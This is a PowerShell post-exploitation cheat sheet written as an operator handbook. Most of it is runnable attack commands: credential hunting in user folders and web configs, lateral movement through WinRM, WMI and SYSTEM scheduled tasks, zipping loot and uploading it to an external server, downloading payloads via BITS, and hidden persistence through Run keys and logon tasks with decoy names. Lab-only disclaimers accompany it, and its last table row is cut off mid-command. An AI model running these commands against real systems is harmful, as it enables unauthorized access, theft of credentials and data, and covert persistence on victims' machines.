# PowerShell PE

## **PowerShell for Post-Exploitation — Operator Handbook**&#x20;

> ⚠️ For authorized environments, labs, and CTFs only. Many techniques below can disrupt systems or trigger security tools. Get written permission, log everything, and follow the rules of engagement.

***

### I. 🧩 Operator Mindset & OPSEC

* **Stay native first**: prefer built-in cmdlets over dropping binaries.
* **Live off the land**: `WinRM`, `WMI`, `ScheduledTasks`, `BITS`, `netsh`, `wevtutil`.
* **Reduce noise**: limit recursive scans, throttle parallel tasks, avoid scanning DCs from workstations.
* **Telemetry aware**: Script Block Logging, Module Logging, Transcription, AMSI. Assume you’re watched.

***

### II. ⚙️ Fast Recon (Local Host)

```powershell
# identity & context
whoami /all
$env:USERDOMAIN; $env:USERNAME
[Environment]::OSVersion.Version
Get-CimInstance Win32_ComputerSystem | fl Name,Domain,Model,Manufacturer

# local admins & interesting groups
Get-LocalGroupMember -Group "Administrators" 2>$null

# network quicklook
Get-NetIPAddress -AddressFamily IPv4 | ? {$_.PrefixLength -ge 24}
Get-NetRoute | ? {$_.DestinationPrefix -notlike "127.*"}

# running services & autostarts
Get-Service | ? Status -eq Running | select Name,DisplayName
Get-CimInstance Win32_StartupCommand | select Name,Command,Location,User

# shares & sessions
Get-SmbShare
Get-SmbSession
```

***

### III. 🧭 Domain & AD Enumeration (Native + PowerView)

> If PowerView is available in your lab, load it reflectively (no disk write) and then enumerate. Otherwise, use `ActiveDirectory` RSAT cmdlets.

```powershell
# native: who is the DC, what domain am I in?
nltest /dsgetdc:.
(Get-ADDomain).DNSRoot
(Get-ADForest).GlobalCatalogs

# enumerate users/groups (requires RSAT: ActiveDirectory)
Get-ADUser -Filter * -Properties lastlogondate | select SamAccountName,lastlogondate -First 10
Get-ADGroup -Filter * | select Name -First 20
Get-ADGroupMember "Domain Admins"

# PowerView classics (if imported)
Get-NetDomain
Get-NetDomainController
Get-NetUser -PreauthNotRequired    # potential AS-REP roast targets (for lab)
Get-NetComputer -OperatingSystem *server* | select cn,operatingsystem
Find-LocalAdminAccess -Verbose     # where current token has local admin
```

***

### IV. 🗂️ Files, Search & Loot (Benign Discovery)

```powershell
# find likely creds in user profiles (lab safe paths)
$paths = @("$env:USERPROFILE\Desktop","$env:USERPROFILE\Documents","C:\Temp")
$patterns = @("password","pass","cred","secret","key","config",".kdbx",".pfx",".pem",".rdp")
foreach($p in $paths){ gci -Path $p -Recurse -ErrorAction SilentlyContinue |
  ? { $patterns | ForEach-Object { $_ -and ($_.Name -match $_) } } |
  select FullName,Length,LastWriteTime }

# search within files for patterns
Select-String -Path C:\Users\*\Documents\* -Pattern "password|apikey|token" -SimpleMatch -ErrorAction SilentlyContinue
```

***

### V. 🔁 Lateral Movement (Built-In Methods)

> Use only where authorized. Prefer Kerberos (–Authentication Negotiate/Kerberos) to avoid NTLM where possible.

**WinRM (PowerShell Remoting)**

```powershell
# enable locally (lab)
Enable-PSRemoting -Force

# remote command with current creds (requires admin on target)
Invoke-Command -ComputerName WS01 -ScriptBlock { hostname; whoami }

# with alternate creds
$cred = Get-Credential
Invoke-Command -ComputerName WS01,WS02 -Credential $cred -ScriptBlock { Get-LocalGroupMember Administrators }
```

**WMI**

```powershell
Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName WS01 -ArgumentList "cmd /c whoami > C:\Windows\Temp\w.txt"
```

**Scheduled Task (opsec-friendly, survives transient)**

```powershell
$act = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c ipconfig /all > C:\Temp\net.txt"
$trg = New-ScheduledTaskTrigger -Once -At ((Get-Date).AddMinutes(1))
Register-ScheduledTask -TaskName "SysDiag" -Action $act -Trigger $trg -RunLevel Highest -User "SYSTEM"
Start-ScheduledTask -TaskName "SysDiag"
```

***

### VI. 🔐 Credentials & Tokens (Legit Paths Only)

* **Network credentials in memory**: Assume EDR detects dumps — avoid weaponized dumping in shared networks.
* **DPAPI user secrets (lab demo only)**:

```powershell
# list saved creds (current user context)
cmdkey /list
# Windows Credential Manager (read with authorized tools only)
rundll32.exe keymgr.dll,KRShowKeyMgr
```

* **Search config stores** (web apps, dev boxes):

```powershell
gci C:\inetpub\ -Recurse -Include web.config,appsettings.json -ErrorAction SilentlyContinue |
  % { Select-String -Path $_.FullName -Pattern "ConnectionString|Password|Key|Secret" -SimpleMatch }
```

***

### VII. 🌐 Data Exfil Helpers (Lab)

> In real environments, follow data handling policies. Use throttling and encryption; prefer secure transport.

```powershell
# compress & zip
$src="C:\Temp\loot"; $zip="C:\Temp\loot.zip"
Compress-Archive -Path $src -DestinationPath $zip -Force

# HTTPS upload (lab web server)
Invoke-WebRequest -Uri "https://labserver/upload" -Method Post -InFile $zip -UseBasicParsing
```

***

### VIII. ♻️ Persistence (CTF/Lab Techniques)

**Run Key (current user)**

```powershell
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "Updatr" -Value "C:\Users\Public\updatr.ps1" -PropertyType String
```

**Scheduled Task (on logon)**

```powershell
$act = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoP -W Hidden -F C:\Users\Public\p.ps1"
$trg = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "Updater" -Action $act -Trigger $trg -User $env:USERNAME
```

> 📎 Remove after the exercise:

```powershell
Unregister-ScheduledTask -TaskName "Updater" -Confirm:$false
Remove-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Updatr"
```

***

### IX. 🚚 File Transfer Arsenal (No External Tools)

```powershell
# Start a quick HTTP file server (PowerShell 5+, simple)
Set-Location C:\Share
python -m http.server 8000  # if Python exists

# Pull a file over HTTP(S)
Invoke-WebRequest -Uri "https://server/tool.exe" -OutFile "$env:TEMP\tool.exe"

# SMB copy (requires share perms)
Copy-Item \\fileserver\share\agent.ps1 C:\Temp\agent.ps1

# BITS (quiet, resumable)
Start-BitsTransfer -Source "https://server/payload.bin" -Destination "C:\Temp\payload.bin"
```

***

### X. 🧪 Useful One-Liners & Mini-Functions

```powershell
# ping sweep (small /24 lab)
1..254 | % { "$_`t" + (Test-Connection -Count 1 -Quiet 10.10.10.$_) } | ? {$_ -match "True"}

# list admin shares reachable
$hosts = @("WS01","WS02","FS01")
$hosts | % { if(Test-Path "\\$_\C$"){ "$_ : C$ ok" } }

# find writable folders (current token)
gci C:\ -Recurse -Directory -ErrorAction SilentlyContinue |
  % { try { $acl = Get-Acl $_.FullName; if(($acl.Access | ? {$_.IdentityReference -match $env:USERNAME -and $_.FileSystemRights -match "Write"}) ){ $_.FullName } } catch {} }

# quick service audit: auto-start & unquoted paths
Get-CimInstance Win32_Service | ? {$_.StartMode -eq "Auto"} |
 select Name,State,StartName,PathName |
 ? {$_.PathName -and $_.PathName -match ' '}   # candidates for unquoted path issues (lab)
```

***

### XI. 🧰 “Living-off-the-Land” Cmdlets (Cheat Box)

| Goal            | Cmdlets / Tools                                                        |
| --------------- | ---------------------------------------------------------------------- |
| System info     | `Get-ComputerInfo`, `Get-CimInstance Win32_OperatingSystem`            |
| Users/Groups    | `Get-LocalUser`, `Get-LocalGroupMember`                                |
| Network         | `Get-NetIPConfiguration`, `Test-NetConnection`, `Get-NetTCPConnection` |
| Shares/Sessions | `Get-SmbShare`, `Get-SmbSession`                                       |
| Services/Tasks  | `Get-Service`, `Get-ScheduledTask`                                     |
| Logs            | `Get-WinEvent`, `wevtutil`                                             |
| Remoting        | `Invoke-Command`, `Enter-PSSession`                                    |
| WMI             | `Get-WmiObject`, `Invoke-WmiMethod`                                    |
| Files/Registry  | `Get-ChildItem`, `Select-String`, `Get-ItemProperty`                   |

***

### XII. 🧠 OPSEC & Clean-Up Checklist

* Remove scheduled tasks, run-keys, temp files.
* Clear only **your** test artifacts (don’t destroy logs).
* Return config to pre-engagement state.
* Hand over findings with paths, timestamps, and commands used.

***

### XIII. ⚡ Quick Reference Table

| Task                  | Command                                                 |
| --------------------- | ------------------------------------------------------- |
| Remote exec (WinRM)   | `Invoke-Command -ComputerName X -ScriptBlock { ... }`   |
| Create scheduled task | `Register-ScheduledTask -Action $act -Trigger $trg`     |
| Copy via SMB          | `Copy-Item \\host\share\file C:\Temp\file`              |
| Zip directory         | `Compress-Archive -Path C:\Dir -Destination C:\dir.zip` |
| Enumerate AD users    | `Get-ADUser -Filter * -Properties lastlogondate`        |
| Find strings in files | \`Select-String -Path C:\* -Pattern "password           |

***
